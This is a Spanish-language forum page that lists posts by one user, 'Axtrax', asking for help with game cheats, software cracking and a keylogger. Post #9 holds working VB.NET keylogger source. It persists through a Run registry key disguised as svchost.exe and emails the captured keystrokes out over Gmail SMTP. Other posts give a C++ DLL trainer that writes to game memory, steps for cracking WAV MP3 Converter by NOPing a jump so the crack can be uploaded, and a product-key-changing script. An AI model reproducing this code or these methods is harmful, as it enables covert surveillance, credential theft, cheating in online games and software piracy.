Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Axtrax

#1
Buenas tengo el siguiente codigo que acabo de armar pero tengo algunos problemas para obtener el resultado que quiero primero y principal les muestro el codigo:

Código (cpp) [Seleccionar]


DWORD var[] = { 0x03B4, 0x2558, 0x0000, 0x010C };

DWORD num[] = { 0x0038,0x0030,0x0028,0x0020,0x0018,0x0010,0x008,0x0000 };

DWORD tel[] = { 0x0010C, 0x0110, 0x0114 };


for (int i = 0; i < 8; i++)
{
var[2] = num[i];

for (int b = 0; b < 3; b++)
{
var[3] = tel[b];

for (int a = 0; a < 4; a++)
{
cout << hex << var[a];
}

cout << endl;

}
cout << endl;

}



el resultado que quisiera tener es el siguiente:

Código (cpp) [Seleccionar]

/*Justamente como muestra el contenido de var[a] ese mismo contenido
pero divido asi:
DWORD var[] = { 0x03B4, 0x2558, 0x0000, 0x010C };

para luego utilizar var[0], var[1] etc asi 23 veces porque son 24 Items los que genera var[a]

se me ocurrio utilizar el comando for pero nunca lo entendi por completo aun asi logre lo que queria pero no del todo xD todo eso es para luego utilizar cada variable de var[a] por ejemplo y aplicarlas a un writeprocessmemory
*/


Espero que me puedan ayudar con este problema dividi cada item en 6 characters por si quiere usarse de alguna manera tomando 6 characteres y implementandolo como 1 item, luego otros 6 characteres y que sea otro item

{item1, item2 etc...} y luego esos items irian dentro de una variable DWORD, quizas lo pueden hacer asi o tienen un mejor metodo no vendria a pedir ayuda si no hubiese tratado jaja disculpen enserio
#2
Programación C/C++ / Problema con trainer DLL
13 Enero 2017, 18:24 PM
Buenas gente, aprendiendo un poco lo que es c++ pero aun asi tengo pocos conocimientos, trate de comentarles todo el funcionamiento del cheat por si alguien en un futuro quiere crear algo parecido y le sirve.
mi problema es que el valor del juego tiene que estar frezeado cuando se modifica osea tiene que estar cambiandose todo el tiempo ejemplo:

Balas: 30 <--- valor real de las balas
Balas: 250 <---- valor modificado de las balas esto tiene que estar modificandose a cada rato que para eso esta el while.

Mi problema mas que nada consiste en que si el address que busca el programa no existe osea su valor es null o ???? como seria en cheat engine porque no estas en partida que no modifique su valor o por ejemplo si estoy en partida y active el cheat y por x motivo lo deje activado y quiero salir de la partida que no lo siga modificando.

no entiendo por que mi codigo hace que crashee el juego a veces y me gustaria saber si
hay alguna forma de ver el valor de los address+pointers con mi codigo o quizas ustedes tengan un metodo mas sofisticado para hacerlo.

Muchas gracias y saludos!

Código (cpp) [Seleccionar]

#include <Windows.h>
#include <iostream>

bool killshot = false;
bool comprobador = false;



void hack()
{
DWORD comienzo = (DWORD)GetModuleHandle(NULL); //me devuelve el valor de "xxxx.exe"



while (true)
{

try
{

/* Addres: "xxxx.exe"+02394B24
   offset1: 0x414
   offset2: 0x78C
   esto es igual a la suma de cada uno:
   "xxxx.exe"+02394B24+0x414+0x78C = ("aqui se encuentra el valor a modificar");
*/
DWORD puntero = *(DWORD*)(comienzo + 0x02394B24); //trata de acceder al addres ej: "xxxx.exe"+02394B24

if ((puntero != 0) && (killshot == true)) //me dice si el contenido de puntero es distinto a 0 y killshot es verdadero entonces...
{
DWORD puntero = *(DWORD*)(comienzo + 0x02394B24); //trata de acceder al addres ej: "xxxx.exe"+02394B24
DWORD puntero1 = *(DWORD*)(puntero + 0x414); //suma el valor obtenido en puntero y le suma otro offset
*(DWORD*)(puntero1 + 0x78C) = 30; //obtiene los address + offsets y le asigna el valor de [30]
comprobador = true; //una vez que modificamos el valor hacemos que comprobador sea verdadero para saber que el cheat esta activado.

}

if ((comprobador == true) && (killshot == false)) //me dice si el contenido de puntero es distinto a 0 y killshot es falso entonces...
{
DWORD puntero = *(DWORD*)(comienzo + 0x02394B24); //trata de acceder al addres ej: "xxxx.exe"+02394B24
DWORD puntero1 = *(DWORD*)(puntero + 0x414); //suma el valor obtenido en puntero y le suma otro offset
*(DWORD*)(puntero1 + 0x78C) = 1; //obtiene los address + offsets y le asigna el valor de [1]
comprobador = false; //una vez que modificamos el valor hacemos que comprobador sea verdadero para saber que el cheat esta desactivado.

}
}

catch (const std::exception&)
{
        //no me parecio necesario colocar algo en caso de que genere un error
}

}
Sleep(5); //Espera 5 milisegundos
}

void comprobar()
{
while (true)
{
if (GetAsyncKeyState(VK_NUMPAD1) & 0x80000) //si se aprieta numpad_1...
{
killshot = !killshot; //me devuelve el valor contrario de killshot, si es true lo da en false (desactiva y activa el cheat)

}
}
Sleep(5); //Espera 5 milisegundos
}

BOOL WINAPI DllMain(HINSTANCE modulo, DWORD razón, LPVOID reserva)
{
if (razón == DLL_PROCESS_ATTACH)
{
//Estamos dentro del juego
//Thread
//hack();
//comprobar();
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)comprobar, 0, 0, 0);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)hack, 0, 0, 0);

}
else if (razón == DLL_PROCESS_DETACH)
{
//Salimos del juego
}

//Devolvemos al juego
return TRUE;

}
#3
Bueno mi pregunta es la siguiente,como veran eso es un codigo batch... mi problema es que no funciona,pero hoy lo habia hecho funcionar pero perdi el codeo por un apagon y me olvide lo que habia hecho :/
mi pregunta es como puedo hacer desde c++ (un codigo)
para que por ejemplo yo le diga: Resp: (El texto que vos elijas)
y luego en un system("") me de ese mismo texto que habia elegido anteriormente

    system("set /p Respuesta=Resp:");
    system("Resp: %Respuesta%");

Espero que puedan ayudarme ^^
#4
Ingeniería Inversa / Pregunta sobre programacion
19 Febrero 2012, 19:41 PM
Bueno puede que sea una pregunta un tanto tonta... y no se si es el foro correspondiente pero me interesaria saber como crear una dll hack para un juego online... me gustaria que me digan que lenguaje de programacion me combiene estudiar etc... y como hallar los offsets a modificar ^^
ya que los hacks de hoy en dia se basan en dll injection.
los offsets no se pueden encontrar con cheat engine en algunos juegos asi que si pudieran decirme otra menera se los agradeceria... por ejemplo ollydbg ^^
#5
Bueno me sucede lo siguiente:

Abro Cheat Engine 5.6.1 + Plants Vs Zombies

Al principio tengo 50 Soles,agarro 1 sol y tengo 75 soles.
Escanenando estos 2 valores me sale el siguiente adress: 1507F470 (El cual cambia al cerrar el juego)

Bueno de ahi voy a la opcion -> "Find out what accesses this address" -> Me salen 2 ventanas con lo siguiente:

Created Process: 0000087C

The following opcodes accessed the selected address:

00420225 - 03 82 78 55 00 00 - add eax,[edx+00005578]
00498195 - 8b 87 78 55 00 00 - mov eax,[edi+00005578]

Elijo el mov y le hago doble click y me salen una serie de datos de los cuales yo copio esto: 15079EF8 ya que cheat engine me dice que posiblemente ese sea el pointer.

voy a scanear denuevo pero esta ves marco hex y coloco: 15079EF8

Me salen muchos adress pero yo elijo el 3ro por que no cambia,el adress seria: 00188E48 + 5578 que seria el valor que me habia dado cheat engine.

voy a add address manually y coloco esos datos,por lo cual noto que si era el pointer de: 1507F470 por que me quedo: P-> 1507F470 4Bytes 75

Luego de ahi todos los precedimientos que hago parecieran que no funcionan... intente con muchos metodos pero no me salieron,ya que al crear el trainer no se modifica el valor de los soles por que el adress de los soles cambia siempre.

probe el metodo que encontre por aca de MHS5 y no me salio.
el metodo que estaba de ollydbg el ollydbg no me muestra una opcion por lo cual no puedo continuar :/

Espero que puedan ayudarme y en el caso de que no puedan igual les agradezco por intentarlo :)


#6
Ingeniería Inversa / Ayuda (Creando Crack)
21 Abril 2011, 20:31 PM
Soy nuevo en esto de crear cracks,pero me interesa y e estado leyendo y estudiando un poco...

El programa a cracker es el WAV MP3 Converter...

para este programa la version que tengo no e encontrado ningun serial ni crack asi que decidi crackearlo yo mismo...

el problema es el siguiente yo e podido crackearlo y que funcione pero al cerrar el programa y abrirlo debo crackearlo nuevamente.

Como yo quiero aprender a crackearlo y que quede crackeado definitivamente para poder subri a webs etc mis cracks necesitaria su ayuda...

http://www.wav-mp3.com/

Pagina del wav mp3 converter.

lo que e hecho en ollydbg fue basicamente esto:

Click derecho: search for => All referenced text strings
Buscar el error cuando intentas registrarlo y luego
Buscar JE SHORT
JE SHORT => click derecho => Binary =>Fill WIll NOPs
Click derecho
Copy to executable => All modifications
Copy all
cerrar => yes => Guardar crack

El problema es que no se hacer que capte el programa que ya esta creackeado.
osea que cuando lo cierre se vuelva a abrir crackeado si puedieran ayudarme y subir fotos o explicaciones les agradeceria mucho :)

ya de por si estoy contento de poder haber creackeado el programa xD!

Atte: Axtrax
#7
Ingeniería Inversa / Ayuda con un programa
2 Abril 2011, 04:07 AM
Hola,el programa que necesito averiguar como funciona es el keyfinder.exe
lo que hace este programa es modificar el serial de windows xp sin tener que reiniciar el pc... por lo que e visto el programa fue creado en vb.net
los codigos no puedo desifrarlos se que modifica el archivo oobetimer.reg
tambien se que tiene 5 forms lo unico que no se es como esta creado... tambien se que tiene un vb script:

'
' WMI Script - ChangeVLKey.vbs
'
' This script changes the product key on the computer (XP SP1)
'
'***************************************************************************

ON ERROR RESUME NEXT


if Wscript.arguments.count<1 then
   Wscript.echo "An error has occurred. Please email jellybean@magicaljellybean.com"
   Wscript.quit
end if

Dim VOL_PROD_KEY
VOL_PROD_KEY = Wscript.arguments.Item(0)
VOL_PROD_KEY = Replace(VOL_PROD_KEY,"-","") 'remove hyphens if any

for each Obj in GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf ("win32_WindowsProductActivation")

   result = Obj.SetProductKey (VOL_PROD_KEY)

   if err = 0 then
      WScript.Echo "Your product key has been successfully updated. Please restart the Keyfinder to verify it."
   end if

   if err <> 0 then
      WScript.Echo "An error has occurred. This was probably caused by the keying of an invalid number. Please check it and try again."
      Err.Clear
   end if

Next

pero al importarlo en vb me da error si saben como funciona o lograr algo parecido en vb se los agradeceria.

aqui donde pueden descargar el programa asi me ayudan a desifrarlo

http://www.magicaljellybean.com/keyfinder/

aunque yo tengo la version 1.51 y esta es la 2.0

espero que me ayuden y gracias por todo

PD: he logrado hacer algo parecido a lo que el hace desde batch pero en una parte debo reiniciar el pc...
#8
Hola,Vengo a explicarles como crear un programa que pida contraseña para abrir el otro form.

Lo que necesitaremos es:

5 labels,2 Botones (Command) y 2 Text

Ponerle los siguientes nombres:

Labels: Usuario,Contraseña,Datos Incorrectos,Datos Correctos,Error de datos,clickear en comprobar

Botones: Aceptar,Comprobar

Text: Los dejamos vacios.


Codeo:


Private Sub Command1_Click()
If Text1.Text = "Alumno" And Text2.Text = "4456" Then
Label4.Visible = True
Label3.Visible = False
Label5.Visible = False
Else
Label3.Visible = True
Label5.Visible = False
End If
End Sub

Private Sub Command2_Click()
If Text1.Text = "Alumno" And Text2.Text = "4456" Then
Form2.Show
Else
Label5.Visible = True
Label4.Visible = False
Label3.Visible = False
End If
End Sub
Private Sub Form_Load()
Dim a As String
Dim b As String
Dim fun As String
a = "Alumno"
b = "4456"
fun = (a & b)


Si no quieren que tenga los labels y ingresar directamente cuando ponen el id y el pass bien colocar este comando en un Command:

If Text1.Text = "Aca el id" And Text2.Text = "Aca el Pass" Then
Form2.Show
End If
End Sub


Para que al abrirse el form 2 desaparezca el primer form hay que ponerle este comando:

Form1.Hide ' Este comando sirve para ocultar el form.

Ejemplo para colocarlo:

If Text1.Text = "Axtrax" And Text2.Text = "Probando" Then
Form2.Show
Form1.Hide
End If
End Sub


Terminado quedaria asi:



Al insertar un ID y pass Incorrectos y Clickear aceptar:



Al colocar un ID y pass Incorrectos y clickear comprobar:



Al  Colocar un ID y pass Correctos y clickear comprobar:



Al Colocar un ID y pass Correctos y clickear Aceptar:





Como veran abrio el segundo formulario pero en este caso el primer formulario no se oculto por que no le puse el comando para que se oculte,espero que entiendan mi tutorial y que les guste,postee esto por que vi que muchas personas pro internet preguntaban como hacerlo ademas este foro tiene mucha informacion que me ha sido util para aprender otras cosas de vb esto es algo basico lo que les e enseñado,suerte y que siga asi el foro  :).
#9
.NET (C#, VB.NET, ASP) / (Ayuda) Keylogger VB
7 Febrero 2011, 00:39 AM
Bueno,lo que necesito es que mi keylogger detecte todo,si aprienta enter y cada simbolo por ejemplo @ etc.

Mi codeo:

CitarImports System.Web
Imports System.IO
Imports System.Net.Mail

Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Shell("reg add hklm\software\microsoft\windows\currentversion\run /v svchost.exe /t reg_sz /d C:\WINDOWS\system\svchost.exe /f ")
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i
    End Sub
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential(".....", ".....")
        SmtpServer.Port = 587
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        SmtpServer.EnableSsl = True
        mail.To.Add("....")
        mail.From = New MailAddress("username@gmail.com")
        mail.Subject = "Message HSSD70"
        mail.Body = TextBox1.Text
        SmtpServer.Send(mail)
    End Sub
End Class
espero que me puedan ayudar,si aqui no es donde va la pregunta diganme donde pero porfavor ayudenme